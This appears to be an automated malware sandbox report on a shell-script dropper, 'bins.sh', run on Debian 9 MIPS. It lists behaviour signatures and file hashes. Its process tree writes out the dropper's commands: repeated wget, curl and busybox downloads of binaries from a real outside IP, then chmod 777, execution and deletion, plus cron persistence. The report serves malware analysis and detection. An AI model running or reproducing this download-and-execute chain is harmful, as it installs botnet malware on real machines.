Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    06/11/2024, 14:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-rseq6a1lcz
  • SHA256 9626151a1f5b6c072e8dee0783dc9cec13bcae1372632489402c7ed6322612b2
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1895) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:715
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:719
        • /usr/bin/wget
          wget http://216.126.231.240/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Writes file to tmp directory
          PID:742
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Writes file to tmp directory
          PID:745
        • /bin/chmod
          chmod 777 4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          ./4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
          • Executes dropped EXE
          PID:747
        • /bin/rm
          rm 4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
          2⤵
            PID:749
          • /usr/bin/wget
            wget http://216.126.231.240/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • Writes file to tmp directory
            PID:750
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • Writes file to tmp directory
            PID:751
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            ./clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://216.126.231.240/bins/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:764
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:779
            • /bin/chmod
              chmod 777 py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • File and Directory Permissions Modification
              PID:786
            • /tmp/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              ./py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:787
            • /bin/rm
              rm py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
              2⤵
              • System Network Configuration Discovery
              PID:791
            • /usr/bin/wget
              wget http://216.126.231.240/bins/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • Writes file to tmp directory
              PID:792
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • Writes file to tmp directory
              PID:805
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • Writes file to tmp directory
              PID:811
            • /bin/chmod
              chmod 777 B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • File and Directory Permissions Modification
              PID:812
            • /tmp/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              ./B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
              • Executes dropped EXE
              PID:813
            • /bin/rm
              rm B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
              2⤵
                PID:815
              • /usr/bin/wget
                wget http://216.126.231.240/bins/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • Writes file to tmp directory
                PID:816
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • Writes file to tmp directory
                PID:817
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • Writes file to tmp directory
                PID:818
              • /bin/chmod
                chmod 777 QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • File and Directory Permissions Modification
                PID:819
              • /tmp/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                ./QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:820
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:822
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:823
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:824
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:825
                  • /bin/rm
                    rm QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                    2⤵
                      PID:835
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                      2⤵
                        PID:840
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                        2⤵
                          PID:842
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                          2⤵
                          • Writes file to tmp directory
                          PID:924
                        • /bin/chmod
                          chmod 777 p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                          2⤵
                          • File and Directory Permissions Modification
                          PID:935
                        • /tmp/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                          ./p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                          2⤵
                          • Executes dropped EXE
                          PID:936
                        • /bin/rm
                          rm p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                          2⤵
                            PID:940
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                            2⤵
                              PID:941
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                              2⤵
                                PID:944
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                                2⤵
                                • Writes file to tmp directory
                                PID:947
                              • /bin/chmod
                                chmod 777 FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                                2⤵
                                • File and Directory Permissions Modification
                                PID:950
                              • /tmp/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                                ./FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                                2⤵
                                • Executes dropped EXE
                                PID:951
                              • /bin/rm
                                rm FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                                2⤵
                                  PID:953
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/zm0D1FnjOyALol4GFlwVIsVpzzHcvoS3nm
                                  2⤵
                                    PID:954

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

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                                      Downloads

                                      4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
                                      • Path /tmp/4DRtWTDxBKdQ9Qeo3WnYvTNrOo4OJaSyf9
                                      • Size 127KB
                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
                                      • Path /tmp/B0D3PoMXVHqjWTFh9jW3hIkgCmPkTeQuUm
                                      • Size 141KB
                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                                      • Path /tmp/FmBeFlYQ2uWtaxO5Wrwp10e1SdxMtUVoQP
                                      • Size 98KB
                                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                                      • Path /tmp/QRS7STRBuJefUzuXekDWIK7gurvyojNZS4
                                      • Size 151KB
                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
                                      • Path /tmp/clT8LDQvriwvWyWeiN1KwRQmO3LXYtspAx
                                      • Size 111KB
                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                                      • Path /tmp/p9LUAkqedGiaS4jvDN2XRGuzDH7Foeolbm
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
                                      • Path /tmp/py74xNAoxGOPMP79AVvbPZauiJMiphQ08o
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      tmp.SNON2b
                                      • Path /var/spool/cron/crontabs/tmp.SNON2b
                                      • Size 210B
                                      • SHA256 773d38cf105e08891096e5fef5261b731581ac60de176c8a8bc727caa968c67f
                                      • MD5 SHA1 SHA512
                                      Submit Download